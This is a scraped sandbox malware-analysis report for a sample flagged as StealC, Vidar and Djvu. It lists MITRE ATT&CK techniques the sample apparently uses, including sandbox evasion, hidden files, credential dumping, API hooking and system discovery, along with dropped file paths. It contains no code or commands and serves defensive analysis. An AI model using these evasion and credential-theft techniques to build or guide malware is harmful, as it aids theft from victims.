Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gHPYUEh253.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Djvu

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$Recycle.Bin\S-1-5-18\desktop.ini

C:\ProgramData\CBFCFBFBFB.exe

C:\ProgramData\CFHIIEHJKKECGCBFIIJDAKFHJK

C:\ProgramData\CGDHDHJE

C:\ProgramData\DHCGIDHDAKJECBFHCBAAKJKFCG

C:\ProgramData\DHIDHIEGIIIECAKEBFBAAEBKFC

Windows Analysis Report
gHPYUEh253.exe

C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\data\config.txt

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre